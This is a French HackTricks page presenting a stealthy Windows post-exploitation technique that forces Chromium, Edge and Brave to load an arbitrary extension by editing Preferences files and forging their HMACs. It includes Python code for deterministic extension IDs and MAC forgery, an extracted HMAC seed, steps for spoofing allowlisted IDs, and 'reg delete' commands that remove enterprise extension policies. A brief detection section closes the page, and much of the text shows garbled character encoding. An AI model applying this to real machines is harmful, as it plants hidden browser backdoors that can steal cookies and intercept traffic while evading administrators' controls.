Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Overview
Technique post-exploitation discrĂšte pour forcer le chargement d'extensions arbitraires dans les navigateurs basĂ©s sur Chromium sous Windows en modifiant les Preferences/Secure Preferences dâun utilisateur et en forgeant des HMAC valides pour les nĆuds modifiĂ©s. Fonctionne contre Chrome/Chromium, Edge et Brave. ObservĂ© applicable de Chromium 130 Ă 139 au moment de la publication. Une simple primitive dâĂ©criture disque dans le profil de la victime suffit pour persister une extension avec tous les privilĂšges sans flags en ligne de commande ni invites utilisateur.
Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browserâs embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
Where extension state lives (Windows)
- Profil Chrome non rattaché au domaine :
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
- Profil Chrome rattaché au domaine :
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- NĆuds clĂ©s utilisĂ©s par Chromium :
- extensions.settings.<extension_id> â manifeste/mĂ©tadonnĂ©es embarquĂ©s pour l'entrĂ©e d'extension
- protection.macs.extensions.settings.<extension_id> â HMAC pour ce blob JSON
- Chromium â„134: extensions.ui.developer_mode (boolean) must be present and MACâsigned for unpacked extensions to activate
Schéma simplifié (illustratif):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Remarques :
- Edge/Brave conservent des structures similaires. La valeur du protection seed peut différer (on a observé qu'Edge/Brave utilisaient une seed null/autre dans certaines builds).
IDs d'extension : chemin vs clé et comment les rendre déterministes
Chromium dérive l'ID de l'extension comme suit :
- Packed/signed extension : ID = SHAâ256 over DERâencoded SubjectPublicKeyInfo (SPKI) â prendre les 32 premiers caractĂšres hex â mapper 0âf vers aâp
- Unpacked (no key in manifest) : ID = SHAâ256 over the absolute installation path bytes â mapper 0âf vers aâp
Pour conserver un ID stable entre les hÎtes, intégrez une clé publique DER fixe en base64 dans manifest.json sous "key". L'ID sera dérivé de cette clé au lieu du chemin d'installation.
Script d'aide pour générer un ID déterministe et une paire de clés :
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Ajoutez la clé publique générée dans votre manifest.json pour verrouiller l'ID :
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Falsification des MACs d'intégrité de Preferences (core bypass)
Chromium protĂšge les Preferences avec HMACâSHA256 sur "path" + valeur JSON sĂ©rialisĂ©e de chaque nĆud. La graine HMAC est intĂ©grĂ©e dans resources.pak du navigateur et Ă©tait encore valide jusqu'Ă Chromium 139.
Extraire la graine avec GRIT pak_util et localiser le conteneur de la graine (file id 146 dans les builds testés):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Calculez les MACs (hexadécimal en majuscules) comme :
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Exemple Python minimal :
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Ăcrire les valeurs sous :
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium â„134)
DiffĂ©rences entre navigateurs : sur Microsoft Edge et Brave, le seed peut ĂȘtre null/diffĂ©rent. La structure HMAC reste la mĂȘme ; ajustez le seed en consĂ©quence.
Conseils d'implémentation
- Utilisez exactement la mĂȘme sĂ©rialisation JSON que Chromium utilise lors du calcul des MACs (un JSON compact sans espaces est sĂ»r en pratique ; trier les clĂ©s peut aider Ă Ă©viter des problĂšmes d'ordre).
- Assurez-vous que extensions.ui.developer_mode existe et est signĂ© sur Chromium â„134, sinon votre extension non empaquetĂ©e ne sâactivera pas.
Flux de chargement silencieux de bout en bout (Windows)
- Générez un ID déterministe et intégrez "key" dans manifest.json ; préparez une extension MV3 non empaquetée avec les permissions souhaitées (service worker/content scripts)
- Créez extensions.settings.
en y intĂ©grant le manifest et les mĂ©tadonnĂ©es d'installation minimales requises par Chromium (state, path pour l'extension non empaquetĂ©e, etc.) - Extrayez le seed HMAC de resources.pak (fichier 146) et calculez deux MACs : un pour le nĆud settings et un pour extensions.ui.developer_mode (Chromium â„134)
- Ăcrivez les nĆuds et MACs conçus dans Preferences/Secure Preferences du profil cible ; le prochain lancement activera automatiquement votre extension avec l'intĂ©gralitĂ© des privilĂšges dĂ©clarĂ©s
Contourner les contrĂŽles d'entreprise
- Whitelisted extension hash spoofing (ID spoofing)
- Installez une extension autorisée du Web Store et notez son ID
- Obtenez sa clé publique (par ex. via chrome.runtime.getManifest().key dans le background/service worker ou en récupérant/analysant son .crx)
- Placez cette clĂ© en tant que manifest.key dans votre extension modifiĂ©e pour reproduire le mĂȘme ID
- Enregistrez l'entrĂ©e dans Preferences et signez les MACs â les vĂ©rifications ExtensionInstallAllowlist qui se basent uniquement sur l'ID sont contournĂ©es
-
Extension stomping (ID collision precedence)
-
Si une extension locale non empaquetée partage un ID avec une extension installée depuis le Web Store, Chromium préfÚre celle non empaquetée. Cela remplace effectivement l'extension légitime dans chrome://extensions tout en préservant l'ID de confiance. Vérifié sur Chrome et Edge (p.ex. Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Les policies Chrome/Edge résident sous HKCU\Software\Policies*
-
Avec des droits admin, supprimez/modifiez les clés de policy avant d'écrire vos entrées pour éviter les blocages :
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Repli bruyant : chargement via la ligne de commande
Depuis Chromium â„137, --load-extension nĂ©cessite Ă©galement de passer :
--disable-features=DisableLoadExtensionCommandLineSwitch
Cette approche est largement connue et surveillée (p. ex. par EDR/DFIR ; utilisée par des malwares grand public comme Chromeloader). Preference MAC forging is stealthier.
Related flags and more crossâplatform tricks are discussed here:
Impact opérationnel
Une fois acceptĂ©e, l'extension s'exĂ©cute avec ses permissions dĂ©clarĂ©es, permettant l'accĂšs au DOM, l'interception/redirection des requĂȘtes, l'accĂšs aux cookies/storage et la capture d'Ă©cran â soit, en pratique, une exĂ©cution de code dans le navigateur et une persistance durable du profil utilisateur. Le dĂ©ploiement Ă distance via SMB ou d'autres canaux est simple car l'activation est pilotĂ©e par des donnĂ©es via Preferences.
Détection et durcissement
- Surveiller les processus nonâChromium Ă©crivant dans Preferences/Secure Preferences, en particulier les nouveaux nĆuds sous extensions.settings associĂ©s Ă des entrĂ©es protection.macs
- Alerter en cas de basculement inattendu de extensions.ui.developer_mode et d'entrées d'extension valides HMAC mais non approuvées
- Auditer HKCU/HKLM Software\Policies pour détecter toute manipulation ; appliquer les politiques via device management/Chrome Browser Cloud Management
- PrivilĂ©gier le forcedâinstall depuis le store avec des verified publishers plutĂŽt que des allowlists ne correspondant qu'Ă l'extension ID
References
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks